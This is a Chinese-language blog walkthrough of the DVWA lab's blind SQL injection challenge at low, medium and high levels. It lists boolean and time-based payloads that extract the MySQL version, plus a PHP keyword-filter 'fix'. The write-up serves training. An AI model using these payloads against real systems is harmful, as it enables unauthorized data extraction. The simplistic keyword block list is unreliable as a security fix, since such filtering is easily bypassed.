[dvwa] sql injection(Blind)

简介: [dvwa] sql injection(Blind)

blind

0x01 low

1’ and length(version()) = 6 #

syntax: substr(string , from<start from 1>, cut length)

1’ and substr(version(),1,1) = ‘5’ #

1’ and substr(version(),2,1) = ‘.’ #

1’ and substr(version(),3,1) = ‘7’ #

1’ and substr(version(),4,1) = ‘.’ #

1’ and substr(version(),5,1) = ‘2’ #

1’ and substr(version(),6,1) = ‘6’ #

版本为5.7.26

syntax: if(judge, true for, false for)

1’ and if(length(version())=6,sleep(3),1) #

版本号6位

虽然显示数据库中找不到,但是明显观察到页面停顿了大约3秒

1’ and if(substr(version(),1,1)=‘5’,sleep(3),1) #

1’ and if(substr(version(),2,1)=‘.’,sleep(3),1) #

1’ and if(substr(version(),3,1)=‘7’,sleep(3),1) #

1’ and if(substr(version(),4,1)=‘.’,sleep(3),1) #

1’ and if(substr(version(),5,1)=‘2’,sleep(3),1) #

1’ and if(substr(version(),6,1)=‘6’,sleep(3),1) #

0x02 medium

在burp中重放发包

id=1 and length(version())=6&Submit=Submit

id=1 and ascii(substr(version(),1,1))=53#&Submit=Submit

0x03 high

与low相似,代码中增加了limit 1和isset($_COOKIE[‘id’])

查询参数通过cookie中传递

通过post请求体接收查询参数,把查询参数写道cookie,显示页面读cookie值回显

实现抗重放

0x04 Repair 修复漏洞

过滤,简单来说,过滤单引号,括号,空格,and,or,select,将有奇效

一般盲注用脚本爆,限制ip的频繁连接也是有用的

或者在回显处动手脚,随机给个错误回显,属于是调皮捣蛋了

<?php
$id = 1;
$suspects = array(" ","'","(",")","and","or","select");
$allnull = array();
for ($i = 0;$i<count($suspects);$i += 1){
    array_push($allnull,'Hacker');
}
$count = 0;
$id = str_replace($suspects,$allnull,$id,$count);
if($count>0){
    die("blind injection, blind response");
}


相关文章
|
SQL 安全 网络安全
SQL注入(SQL Injection)
【8月更文挑战第11天】
807 3
|
SQL 安全 网络安全
DVWA SQL Injection (Blind) 通关解析
DVWA SQL Injection (Blind) 通关解析
|
SQL Oracle Java
SQL 注入神器:jSQL Injection 保姆级教程
SQL 注入神器:jSQL Injection 保姆级教程
|
SQL 安全 数据库
[dvwa] sql injection
[dvwa] sql injection
|
关系型数据库 MySQL 网络安全
5-10Can't connect to MySQL server on 'sh-cynosl-grp-fcs50xoa.sql.tencentcdb.com' (110)")
5-10Can't connect to MySQL server on 'sh-cynosl-grp-fcs50xoa.sql.tencentcdb.com' (110)")
|
SQL 存储 监控
SQL Server的并行实施如何优化?
【7月更文挑战第23天】SQL Server的并行实施如何优化?
680 13
解锁 SQL Server 2022的时间序列数据功能
【7月更文挑战第14天】要解锁SQL Server 2022的时间序列数据功能,可使用`generate_series`函数生成整数序列,例如:`SELECT value FROM generate_series(1, 10)。此外,`date_bucket`函数能按指定间隔(如周)对日期时间值分组,这些工具结合窗口函数和其他时间日期函数,能高效处理和分析时间序列数据。更多信息请参考官方文档和技术资料。
491 9
|
SQL 存储 网络安全
关系数据库SQLserver 安装 SQL Server
【7月更文挑战第26天】
321 6
|
SQL Oracle 关系型数据库
MySQL、SQL Server和Oracle数据库安装部署教程
数据库的安装部署教程因不同的数据库管理系统(DBMS)而异,以下将以MySQL、SQL Server和Oracle为例,分别概述其安装部署的基本步骤。请注意,由于软件版本和操作系统的不同,具体步骤可能会有所变化。
1334 3
|
存储 SQL C++
对比 SQL Server中的VARCHAR(max) 与VARCHAR(n) 数据类型
【7月更文挑战7天】SQL Server 中的 VARCHAR(max) vs VARCHAR(n): - VARCHAR(n) 存储最多 n 个字符(1-8000),适合短文本。 - VARCHAR(max) 可存储约 21 亿个字符,适合大量文本。 - VARCHAR(n) 在处理小数据时性能更好,空间固定。 - VARCHAR(max) 对于大文本更合适,但可能影响性能。 - 选择取决于数据长度预期和业务需求。
1343 1